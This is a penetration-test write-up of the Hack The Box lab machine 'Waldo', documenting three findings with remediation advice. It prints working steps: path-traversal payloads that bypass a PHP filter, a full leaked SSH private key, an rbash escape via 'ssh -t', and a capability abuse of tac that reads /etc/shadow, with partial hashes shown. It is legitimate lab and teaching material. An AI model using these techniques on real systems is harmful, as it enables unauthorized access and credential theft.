Penetration Testing Report

Hack the Box - Waldo

11/7/2018

Tester: Sunggwan Choi (sxc2679@rit.edu)

Table of Contents

Executive Summary

On 11/7/2018, Sunggwan Choi have performed a black box penetration testing on HacktheBox – Waldo; targeting a single machine on the IP address of 10.10.10.87. The objective of the test was to find as much vulnerabilities as possible, and to report these. Some of the major vulnerabilities were the following: unauthorized file access on the back-end files of the webserver, misconfiguration within restricted bash shell, and misconfiguration within Linux capabilities. With these vulnerabilities, potential risk could be an attacker taking over the entire machine. It is highly recommended to review javascript on the webserver, re-configure restricted bash shell, and remove binaries with wrong capabilities.

Target Summary

Table 1 - Target Information

IP	Hostname	System Type	OS information	Open Ports
10.10.10.87	waldo	Web Server	Linux Debian 4.9	22 - OpenSSH 7.5 80 - nginx 1.12.2 9000 – (localhost) OpenSSH 7.5

Table 2 - Vulnerability Findings Summary

#	Service Name	Risk Level	Vulnerability
1	nginx 1.12.2	High	Unauthorized File Access – Web
2	rbash	Medium	Restricted Bash Escaping
3	bash, ssh	Critical	Unauthorized File Access – Server

Detailed Findings

1 - Unauthorized File Access – Web server

Service Name: nginx 1.12.2
Risk: High - Successful attack could result in unrestricted file access on the system
Source: 10.10.10.87/list.js - readDir, readFile function, and `fileRead.php`
Solution: Implement stronger input validation for readDir, readFile, and `fileRead.php`

Description:

The webserver's `list.js` file shows the functionality of readDir and readFile.

```
function readDir(path){
    var xhttp = new XMLHttpRequest();
    xhttp.open("POST","dirRead.php",false);
    xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xhttp.send('path=' + path);
    if (xhttp.readyState === 4 && xhttp.status === 200) {
        return xhttp.responseText;
    }else{
    }
}


function readFile(file){
    var xhttp = new XMLHttpRequest();
    xhttp.open("POST","fileRead.php",false);
    xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xhttp.send('file=' + file);
    if (xhttp.readyState === 4 && xhttp.status === 200) {
        return xhttp.responseText;
    }else{
    }
}
```

Using this, it is possible to read the content of `dirRead.php` file on the server. Since `dirRead.php` had user validation inside, it is possible to bypass the validation phase. With it, any user can access files on the server as long as the permission is within the user `www-data`.

Using read file, it's possible to read `dirRead.php` - a file which also has user input validation.

```
» readFile("dirRead.php")
← "{\"file\":\"<?php\\n\\nif($_SERVER['REQUEST_METHOD'] === \\\"POST\\\"){\\n\\tif(isset($_POST['path'])){\\n\\t\\theader('Content-
  type: application\\/json');\\n\\t\\t$_POST['path'] = str_replace( array(\\\"..\\/\\\", \\\"..\\\\\\\"\\\"), \\\"\\\",
  $_POST['path']);\\n\\t\\techo json_encode(scandir(\\\"\\/var\\/www\\/html\\/\\\" . $_POST['path']));\\n\\t}else{\\n
  \\t\\theader('Content-type: application\\/json');\\n\\t\\techo '[false]';\\n\\t}\\n}\\n\"}"
```

Bypassing `dirRead.php`'s user input validation, it was possible to read a ssh key on the server, using readFile javascript function. Using `..../` and `//`, it was possible to bypass the user input validation.

```
» readDir("....//....//....//home//nobody//.ssh//")
← "[\".\",\"..\",\".monitor\",\"authorized_keys\",\"known_hosts\"]"
» readFile("....//....//....//home//nobody//.ssh//.monitor")
← "{\"file\":\"-----BEGIN RSA PRIVATE KEY-----\\nMIIEogIBAAKCAQEAs7sytDE++NHaWB9e+NN3V5t1DP1TYHc+4o8D362l5Nwf6Cpl
  \\nmR4JH6n4Nccdm1ZU+qB77li8ZOvymBtIEY4Fm07X4Pqt4zeNBfqKWkOcyV1TLW6f
  \\n87s0FZBhYAizGrNNeLLhB1IZIjpDVJUbSXG6s2cxAle14cj+pnEiRTsyMiq1nJCS\\ndGCc\\/gNpW
  \\/AANIN4vW9KslLqiAEDJfchY55sCJ5162Y9+I1xzqF8e9b12wVXirvN\\no8PLGnFJVw6SHhmPJsue9vjAIeH+n+5Xkbc8\\/6pceowqs9ujRkNzH9T1lJq4Fx1V
  \\nvi93Daq3bZ3dhIIWaWafmqzg+jSThSWOIwR73wIDAQABAoIBADHwl\\/wdmuPEW6kU\\nvmzhRU3gcjuzwBET0TNejbL
  \\/KxNWXr9B2I0dHWfg8Ijw1Lcu29nv8b+ehGp+bR\\/6\\npKHMFp66350xylNSQishHIRMOSpydgQvst4kbCp5vbTTdgC7RZF+EqzYEQfDrKW5
  \\n8KUNptTmnWWLPYyJLsjMsrsN4bqyT3vrkTykJ9iGU2RrKGxrndCAC9exgruevj3q\\n1h+7o8kGEpmKnEOgUgEJrN69hxYHfbeJ0Wlll8Wort9yummox
  \\/05qoOBL4kQxUM7\\nVxI2Ywu46+QTzTMeOKJoyLCGLyxDkg5ONdfDPBW3w8O6UlVfkv467M3ZB5ye8GeS\\ndVa3yLECgYEA7jk51MvUGSIFF6GkXsNb
  \\/w2cZGe9TiXBWUqWEEig0bmQQVx2ZWWO\\nv0og0X\\/iROXAcp6Z9WGpIc6FhVgJd\\/4bNlTR+A\\/lWQwFt1b6l03xdsyaIyIWi9xr\\nxsb2sLNWP56A
  \\/5TWTpOkfDbGCQrqHvukWSHlYFOzgQa0ZtMnV71ykH0CgYEAwSSY\\nqFfdAWrvVZjp26Yf\\/jnZavLCAC5hmho7eX5isCVcX86MHqpEYAFCecZN2dFFoPqI
  \\nyzHzgb9N6Z01YUEKqrknO3tA6JYJ9ojaMF8GZWvUtPzN41ksnD4MwETBEd4bUaH1\\n\\/pAcw\\/+\\/oYsh4BwkKnVHkNw36c+WmNoaX1FWqIsCgYBYw
  \\/IMnLa3drm3CIAa32iU\\nLRotP4qGaAMXpncsMiPage6CrFVhiuoZ1SFNbv189q8zBm4PxQgklLOj8B33HDQ\\/\\nlnN2n1WyTIyEuGA
  \\/qMdkoPB+TuFf1A5EzzZ0uR5WLlWa5nbEaLdNoYtBK1P5n4Kp\\nw7uYnRex6DGobt2mD+10cQKBgGVQlyune20k9QsHvZTU3e9z1RL+6LlDmztFC3G9
  \\n1HLmBkDTjjj\\/xAJAZuiOF4Rs\\/INnKJ6+QygKfApRxxCPF9NacLQJAZGAMxW50AqT\\nrj1BhUCzZCUgQABtpC6vYj\\/HLLlzpiC05AIEhDdvToPK
  \\/0WuY64fds0VccAYmMDr\\nX\\/PlAoGAS6UhbCm5TWZhtL\\/hdprOfar3QkXwZ5xvaykB90XgIps5CwUGCCsvwQf2\\nDvVny8gKbM
  \\/OenwHnTlwRTEj5qdeAM40oj\\/mwCDc6kpV1lJXrW2R5mCH9zgbNFla\\nW0iKCBUAm5xZgU\\/YskMsCBMNmA8A5ndRWGFEFE+VGDVPaRie0ro=\\n-----END
  RSA PRIVATE KEY-----\\n\"}"
```

2. Restricted Bash Shell Escaping

Service Name: rbash, ssh service on localhost:9000
Risk: Medium - Successful attack can grant attacker to escape from the rbash on the server
Source: ssh service on localhost:9000
Solution: Re-configure localhost ssh to restrict user from using `-t` flag. Re-configure rbash to block users from changing the `$PATH` variable.

Description:

It was possible to find a secret ssh service running on localhost port 9000. Also, a private key for the user "monitor" was also provided in the server.

```
waldo:~/.ssh$ netstat -tulpn
netstat: can't scan /proc - are you root?
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:8888            0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN      -
tcp        0      0 :::80                   :::*                    LISTEN      -
tcp        0      0 :::22                   :::*                    LISTEN      -
tcp        0      0 :::8888                 :::*                    LISTEN      -
waldo:~/.ssh$ ls -alh | grep .monitor
-rw-------    1 nobody   nobody      1.6K May  3  2018 .monitor
```

Using the `-t` flag in ssh, it was possible to bypass the restricted bash.

```
waldo:~/.ssh$ ssh -i .monitor monitor@localhost -t "bash --noprofile"
monitor@waldo:~$
```

After escaping the rbash, by editing the `PATH` variable, the attacker can execute any kind of binary on the server.

```
monitor@waldo:~$ export PATH=/bin:/sbin:/usr/bin:/usr/sbin:$PATH
monitor@waldo:~$ export | grep PATH
declare -x PATH="/bin:/sbin:/usr/bin:/usr/sbin:/home/monitor/bin:/home/monitor/app-dev:/home/monitor/app-dev/v0.1"
```

3. Unauthorized File Access using Linux Capability

Service Name: bash
Risk: Critical - Attacker can view any file on the system
Source: `/usr/bin/tac`
Solution: Remove **`cap_dac_read_search+ei`** capability from /usr/bin/tac binary

Description:

Using getcap command, it is possible to find that `/usr/bin/tac` binary has **`cap_dac_read_search+ei`** capability set.

```
monitor@waldo:~/app-dev/v0.1$ getcap -r / 2>/dev/null
/usr/bin/tac = cap_dac_read_search+ei
/home/monitor/app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei
```

`cap_dac_read_search+ei` capability will bypass any file/directory read permission checks. This means that the attacker can view any file on the system, regardless of the file permission. Test was one by accessing `/etc/shadow` file on the server.

```
monitor@waldo:~$ /usr/bin/tac /etc/shadow
app-dev:$6$RQ4VUGfn$6WYq54MO9AvNFMW.FCRekOBPYJXuI02AqR5lYlwN5/eylTl
monitor:$6$IXQ7fATd$RsOewky58ltAbfdjYBHFk9/q5bRcUplLnM9ZHKknVB46smsk
steve:$6$MmXo3me9$zPPUertAwnJYQM8GUya1rzCTKGr/AHtjSG2n3faSeupCCBjoak
```